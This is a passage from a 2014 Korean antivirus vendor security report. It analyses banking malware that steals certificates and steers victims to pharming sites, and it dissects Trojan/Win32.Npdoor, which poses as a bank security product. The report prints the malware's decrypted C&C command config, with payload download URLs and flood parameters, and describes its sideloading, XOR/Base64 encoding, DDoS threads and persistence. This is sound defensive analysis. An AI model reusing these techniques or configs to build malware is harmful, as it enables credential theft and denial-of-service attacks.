매우다양하다. 최근국내에서는사용자의금융관련정보를수집하고파밍사이트로유도하는기능을가진악성코드가다량으로유포되고있다. 또한매일같이변종까지유포되고있으나주요행위는대부분다음과같다. 1 공인인증서유출 - 공인인증서 (NPKI) 데이터압축파일을 HTTP POST 메소드를통해 C&C 서버로업로드 그림 2-26 공인인증서유출페이로드 (payload) 2 파밍사이트로사용자유도및금융정보탈취 - 이름 / 주민등록번호 / 계좌번호 / 계좌비밀번호 - 휴대전화번호 / 인터넷뱅킹 ID 및비밀번호 / 폰뱅킹비밀번호 / 인증서비밀번호 - 보안카드일련번호및모든데이터 그림 2-28 C&C 서버로사용자가입력한금융정보전송 마이크로소프트 (Microsoft) 는지난 11월보안패치 (MS14-064) 를통해해당취약점을해결하였다. 그러나해당패치를적용하지않은사용자가해당취약점에의해침해된사이트에접속할경우악성코드에감염될위험이존재한다. 그러므로이번취약점을비롯해최신취약점을이용해배포되는악성코드에감염되는것을방지하기위해사용자들은항상최신보안패치를적용하는데주의를기울여야한다. 또한웹사이트관리자들은지속적인모니터링을통해페이지내에의도하지않은스크립트가삽입되어있지않은지확인하는등경계를게을리해서는안된다. 한편 V3 제품에서는관련악성코드를다음과같이진단하고있다. <V3 제품군의진단명 > Trojan/Win32.Banki 그림 2-27 파밍사이트로유도하는팝업창 ASEC REPORT 59 Security Trend 25
3 악성코드상세분석 Analysis-In-Depth 금융사이트보안솔루션으로위장한악성코드 ASEC REPORT 59 Security Trend
악성코드상세분석 Analysis-In-Depth 금융사이트보안솔루션으로위장한악성코드 최근국내주요보안업체의제품으로위장한악성코드가유포돼상당수은행사이트이용자들이감염된사례가발생했다. Trojan/Win32.Npdoor라는진단명의이악성코드는 2013년부터최근까지 10개의변종이발견되었다. 안랩의클라우드기반악성코드분석시스템의정보에따르면해당악성코드및변종은 2012년부터유포되었으나, 최초감염원인에대해서는아직알려진바없다. 해당악성코드의주요감염방식은 PlugX 형태이며, 주요기능은 DDoS 공격이다 (KernelBot 악성코드 ). 이보고서에서는 2013년 1월부터 2014년 10월까지수집된 Trojan/Win32.Npdoor의 10개변종중 2014년 10월 13일에수집된 xxupdateloc.dll 에대해상세히분석하고, 이를중심으로나머지 9개변종의동작방식과기능을비교하여살펴본다. 그림 3-1 Trojan/Win32.Npdoor 구성도 악성 xxupdateloc.dll은정상 xxupdate.exe 에로드되어실행된다. [ 그림 3-1] 의 1과같이 xxupdate.exe가실행되면 위성 DLL 기능 으로인해 파일이름 + loc.dll 형태의 dll 파일이자동으로로드된다. xxupdateloc.dll이자동으로로드되는이유는 MFC 버전 7.0이상에서 위성 DLL, 즉여러언어로지역화된응용프로그램을만들도록도와주는기능이지원되기때문이다. 동작방식 Trojan/Win32.Npdoor 변종중 xxupdateloc. dll 의악성행위를도식화하면 [ 그림 3-1] 과같다. 로드된 xxupdateloc.dll은특정보안업체제품이설치된환경인지파악하기위해 HKL- M Software xxxxxxxxxnet 키가존재하는지검사한다 ([ 그림 3-1] 의 2). 해당키가존재하면 OS 버전에따라각기다른위치에악성 xyupdate. ASEC REPORT 59 Security Trend 27
exe 파일을드롭하고실행한다 ([ 그림 3-1] 의 3). xyupdate.exe는 [ 그림 3-1] 의 4와같이 PlugX 방식으로정상 exe 파일, 악성 dll 파일, 암호화된악성데이터파일등 3개의파일을드롭하고실행한다. 이때실행된정상 exe 파일인 ctfmon.exe는 PlugX 동작방식과마찬가지로 libssp-0.dll을로드하고, 로드된 libssp-0.dll은 readme.txt를메모리로로드한후복호화하여실행한다. readme.txt가복호화되면악성 PE 파일이생성되어인터넷에접속하고명령을다운받아자기자신을업데이트하거나 DDoS 공격등의행위를한다 ([ 그림 3-1] 의 5). 그림 3-2 SecurityHelp 익스포트함수에서실행되는스레드와함수구성도 1. 업데이트및추가악성코드다운로드 (WrapSelfUpdateThread) [ 그림 3-1] 의 readme.txt는악성 PE 재구성코드, 악성 PE, C&C 주소등 3가지데이터로분류된다. libssp-0.dll은 readme.txt를자신과동일한메모리영역으로로드하고악성 PE 재구성코드를복호화하여실행한다. 실행된악성 PE 재구성코드는악성 PE와 C&C 주소를복호화한다. 이후 C&C 주소를악성 PE의 SecurityHelp 익스포트함수의인자로전달한다. SelfUpdateThread readme.txt 파일내부의복호화된악성 PE 파일은 SelfUpdateThread에서명령을다운로드하여이에따라동작한다. 명령을다운로드하는 C&C 주소는 SecurityHelp 익스포트함수가실행되면서받은인자에존재한다. 테스트시사용된 C&C 서버주소는 hxxp://wizapply.com/nisshin/ref.htm 이다. SecurityHelp 익스포트함수를포함해실행되는코드의전체적인구성도는 [ 그림 3-2] 와같다. [ 그림 3-2] 의 29개스레드와 2개의함수에대해자세히살펴보자. 이때각함수의이름은함수가수행하는기능을의미하는것으로, 특정 API 이름이나라이브러리함수의이름이아니다. C&C 주소를통해다운로드한명령은암호화되어있으며, 다음과같은순서로복호화할수있다. @$@ 로둘러싸인데이터추출 추출한데이터를 Base64 로디코딩 디코딩한데이터를 XOR_Key(0x2A) 로 1Byte XOR - XOR_Key 는악성코드에하드코딩되어있으며, 일부변종의경우 0x7E 인경우도있음 ASEC REPORT 59 Security Trend 28
[ 그림 3-3] 은위와같은순서를거쳐복호화된명령으로, 악성코드가자기자신을업데이트하거나 DDoS 공격수행시참조한다. [KernelSetting] IsReportState=0 IsDownFileRun0=0 CmdID0=1 DownFileRunUrl0=http://10.0.1.151/1.exe [UpdateServer] NewVersion=20140926 UpdateFileUrl=http://10.0.1.151/1.exe [DDOS_HostStatistics] CountUrl= Timer=2 [DDOS_ScriptFlood] IsScriptFlood=0 CmdID=1 ScriptFloodDNS=10.0.1.151 ScriptFloodUrl=http://10.0.1.151/1.html ScriptFloodPort=80 IsGetUrlFile=1 IsSendPacket=1 ThreadLoopTime=1 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_ScriptFlood_A1] IsScriptFlood=0 CmdID=1 ScriptFloodDNS=10.0.1.151 ScriptFloodUrl=10.0.1.151/1.html ScriptFloodPort=80 IsGetUrlFile=1 IsSendPacket=1 ThreadLoopTime=1 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_UdpFlood] IsUdpFlood=0 CmdID=1 UdpFloodDNS=10.0.1.151 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_UdpFlood_A1] IsUdpFlood=0 CmdID=1 UdpFloodDNS=10.0.1.151 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_SynFlood] IsSynFlood=0 CmdID=1 SynFloodDNS=10.0.1.151 SynFloodPort=80 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_TcpFlood] IsTcpFlood=0 CmdID=1 TcpFloodDNS=10.0.1.151 TcpFloodPort=80 IsSendPacket=1 ThreadCount=1 Timer=20 IsTimer=1 [DDOS_TcpFlood_A1] IsTcpFlood=0 CmdID=1 TcpFloodDNS=10.0.1.151 TcpFloodPort=80 IsSendPacket=1 ThreadCount=6 Timer=20 IsTimer=1 그림 3-3 복호화된명령 SelfUpdateThread는 [ 그림 3-3] 의 Update- Server 섹션과 DDOS_HostStatistics 섹션을참조한다. 또한 UpdateServer 섹션은 [ 그림 3-4] 와같이 NewVersion의값과 CurVersion( 현재파일 ASEC REPORT 59 Security Trend 29
의버전 ) 의값을비교한다. 페이지를요청한다 (GET 방식 ). 요청한페이지에는새로운 C&C 주소가있으며, 이새로운주소를현재사용하고있는 C&C 주소에업데이트한다. 페이지요청시에는 HTTP 리퍼러 (referrer) 값을복호화된 URL의도메인네임으로설정한다. DownloadXupdaterThread 그림 3-4 새버전과현재버전비교 이때 NewVersion의값이더상위버전이라면 [ 그림 3-5] 와같이 UpdateFileUrl 값에있는 URL의파일을 %USERPROFILE% readme.txt로다운로드한다. 그런다음현재버전에 NewVersion을덮어쓰는방식으로현재버전을업데이트한다. DownloadXupdaterThread는 [ 그림 3-3] 의 KernelSetting 섹션을참조한다. KernelSetting 섹션의 IsDownFileRun0 값이 1이면 DownFileRunUrl0 값을가져온다. DownFileRunUrl0 값은추가로다운로드할 xupdater.exe의 URL이다 ([ 그림 3-6]). 다운로드된 xupdater.exe는현재스레드에서실행되는것이아니라 MainThread의 ExecXupdater 함수에서실행된다. 그림 3-6 xupdater.exe 다운로드 그림 3-5 상위버전 readme.txt 다운로드및현재버전업데이트 C&C 주소에접속되지않을경우 DDOS_Host- Statistics 섹션의 CountUrl 값을참조한다. [ 그림 3-3] 에는 CountUrl 값이존재하지않지만하드코딩된 0x2A로 1Byte XOR되어있음을알수있다. 해당악성코드는 CountUrl 값을복호화후복호화한 URL의오른쪽에?type=get 파라미터를붙여 2. 컴퓨터정보전송 (SetTimerAndSendCompInfoThread) SetTimerAndSendCompInfoThread는 [ 그림 3-3] 의 DDOS_HostStatistics 섹션을참조하여컴퓨터정보를서버로전송한다. 해당섹션의타이머 (Timer) 값은 SetTimerAnd- SendCompInfoThread의전체코드가다시실행되는주기를결정한다 ( 단위 : 분 ). 타이머값이설정되어있지않으면 3분을기본값으로한다. ASEC REPORT 59 Security Trend 30
DDOS_HostStatistics 섹션에서 CountUrl 값은컴퓨터정보가전송될주소로, 해당주소는 0x2A로 1Byte XOR되어있다 ( 하드코딩된 XOR_ Key). 전송되는컴퓨터정보는 MAC 주소, 컴퓨터이름, OS 버전, CPU 브랜드명, 메모리사이즈 (gigabytes), 명령다운로드여부등이다. 이정보들은다음과같은순서를거쳐암호화되어 [ 그림 3-7] 과같은패킷형태로전송된다. 0x2A로 1Byte XOR Base64 인코딩 DDoS 메인스레드 ) 는실제공격을하는스레드 ( 이하 DDoS 서브스레드 ) 를생성한다. DDoS 서브스레드는복호화된명령 ([ 그림 3-3]) 에서공격대상주소, 공격주기등의정보를참조하여공격을수행한다. 해당악성코드에서는새로운 DDoS 공격기법은발견되지않았다. 한편, DDoS 메인스레드는동기화를위해 Sync 로시작하는스레드 ( 이하 DDoS 동기화스레드 ) 를생성한다. DDoS 동기화스레드는각섹션의타이머값만큼 ( 단위 : 분 ) 기다린다. 또한글로벌변수에 FALSE를설정하는데, 해당글로벌변수가 FALSE 가되면 DDoS 공격스레드는스스로종료한다. ScriptFloodThread ScriptFloodThread는 HTTP GET Flooding 공격을수행하는스레드로, DDOS_ScriptFlood 섹션을참조한다. 해당섹션의각값에대한의미는 [ 그림 3-8] 과같다. 그림 3-7 암호화된컴퓨터정보전송패킷 [ 그림 3-7] 의서버주소는테스트주소인 www. testserver.com/test.php이며, 암호화된컴퓨터정보는키파라미터 (key parameter) 로전송된다. 3. DDoS 공격 (DdosAttackThread) DdosAttackThread에서는 DDoS 공격을위해 6 개의스레드가생성된다. 생성되는 6개스레드 ( 이하 그림 3-8 DDOS_ScriptFlood 섹션값의미 - InternetReadFile4ScriptFloodThread InternetReadFile4ScriptFloodThread는 ScriptFloodUrl 값을참조하여 InternetOpenUrlW, InternetReadFile API를실행한다. [ 그림 3-9] 는 InternetOpenUrlW API ASEC REPORT 59 Security Trend 31
실행시전송하는패킷으로, no-cache로설정하여공격대상서버에부하를가중시킨다. 또한 InternetReadFile API 실행시에는버퍼에 7바이트만담도록한다. 그림 3-11 DDOS_UdpFlood 섹션값의미 그림 3-9 InternetOpenUrlW API 실행시전송하는패킷 - Sendto4UdpFloodThread Sendto4UdpFloodThread는 [ 그림 3-11] 의 UdpFloodDNS 값에있는주소에 k 문자를담은 8192 바이트크기의 UDP 패킷을전송한다. 패킷은 sendto 함수를사용하여전송되며, 이때전송되는패킷은 [ 그림 3-12] 와같다. - Send4ScriptFloodThread Send4ScriptFloodThread는 send 함수를사용하여 [ 그림 3-10] 과같은패킷을전송한다. 그림 3-12 sendto 함수로전송되는패킷 SynFloodThread SynFloodThread는 DDOS_SynFlood 섹션을참조한다. 해당섹션의각값에대한의미는 [ 그림 3-13] 과같다. 그림 3-10 send 함수로전송되는패킷 UdpFloodThread UdpFloodThread는 DDOS_UdpFlood 섹션을참조한다. 해당섹션의각값에대한의미는 [ 그림 3-11] 과같다. 그림 3-13 DDOS_SynFlood 섹션값의의미 - Sendto4SynFloodThread Sendto4SynFloodThread는 [ 그림 3-14] 와같 ASEC REPORT 59 Security Trend 32
이 sendto 함수의버퍼에 SYN 패킷 (IP header + TCP header) 을설정하고전송한다. IsSendPacket 값이 0 이면, [ 그림 3-17] 과같이 1~3 바이트의랜덤문자데이터를가진패킷이전송 된다. 그림 3-14 sendto 함수를이용한 SYN 패킷전송코드 TcpFloodThread TcpFloodThread는 DDOS_TcpFlood 섹션을참조한다. 해당섹션의각값에대한의미는 [ 그림 3-15] 와같다. 그림 3-15 DDOS_TcpFlood 섹션값의미 - Sendto4TcpFloodThread 전송되는패킷은 DDOS_TcpFlood 섹션의 IsSendPacket 값에따라달라진다. IsSendPacket 값이 1이면 send 함수에의해 [ 그림 3-16] 과같은패킷이전송된다. 그림 3-17 IsSendPacket이 0인경우전송되는패킷 ( 랜덤문자 1~3바이트 ) ScriptFloodA1Thread ScriptFloodA1Thread의기능은 Script- FloodThread와거의동일하나 IsGetUrlFile 값에의해 InternetReadFile4ScriptFloodA1T hread와 Send4ScriptFloodA1Thread의실행이결정된다는점이차이다. 즉, ScriptFlood- Thread는 IsGetUrlFile 값에상관없이 Send- 4ScriptFloodThread가실행된다. 반면 Script- FloodA1Thread는 IsGetUrlFile 값이 0이면 Send4ScriptFloodA1Thread만실행되고 1이면 InternetReadFile4ScriptFloodA1Thread 만실행된다. UdpFloodA1Thread UdpFloodA1Thread의기능은 UdpFlood- Thread와거의동일하다. 한가지차이는 Udp- FloodThread에서는전송하는데이터의사이즈가 0x2000 바이트이었지만 UdpFloodA1Thread에서는 0x1000 바이트로줄었다는점이다. 그림 3-16 IsSendPacket 이 1 인경우전송되는패킷 (k 문자 128 바이트 ) TcpFloodA1Thead TcpFloodA1Thread 의기능은 TcpFlood- ASEC REPORT 59 Security Trend 33
Thread의기능과동일하다. 4. 재실행을위한레지스트리 Run 키등록 (WrapRegRunValue) [ 그림 3-18] 과같이 MainThread에서악성코드를재실행하기위해레지스트리 Run 키에자기자신을등록한다. 그림 3-18 레지스트리 Run 키등록 5. xupdater.exe 실행 (ExecXupdater) DownloaderXupdaterThread에서다운로드 된 xupdater.exe는 [ 그림 3-19] 와같이 Main- Thread에서실행된다. 그림 3-19 xupdater.exe 실행 Trojan/Win32.Npdoor 악성코드및변종은동작방식에따라 exe 파일드롭 PlugX 드롭등으로구분할수있으며, 공격자계정추가 DDoS 공격 PlugX 등을수행한다. Trojan/Win32.Npdoor 악성코드와변종은 V3 제품군을이용해진단및치료할수있다. PlugX 형태로유포되는악성코드의피해를예방하기위해서는 V3를최신업데이트상태로유지하고 실시간검사 기능을활성화 (On 상태 ) 하는것이바람직하다. 또한신뢰할수없는웹페이지는접속하지않는습관이필요하다. ASEC REPORT 59 Security Trend 34
ASEC REPORT vol.59 November, 2014 집필 안랩시큐리티대응센터 (ASEC) 발행처 주식회사안랩 편집 안랩콘텐츠기획팀 경기도성남시분당구판교역로 220 디자인 안랩 UX디자인팀 T. 031-722-8000 F. 031-722-8901 본간행물의어떤부분도안랩의서면동의없이복제, 복사, 검색시스템으로저장또는전송될수없습니다. 안랩, 안랩로고는안랩의등록상표입니다. 그외다른제품또는회사이름은해당소유자의상표또는등록상표일수있습니다. 본문서에수록된정보는고지없이변경될수있습니다. 2014 AhnLab, Inc. All rights reserved.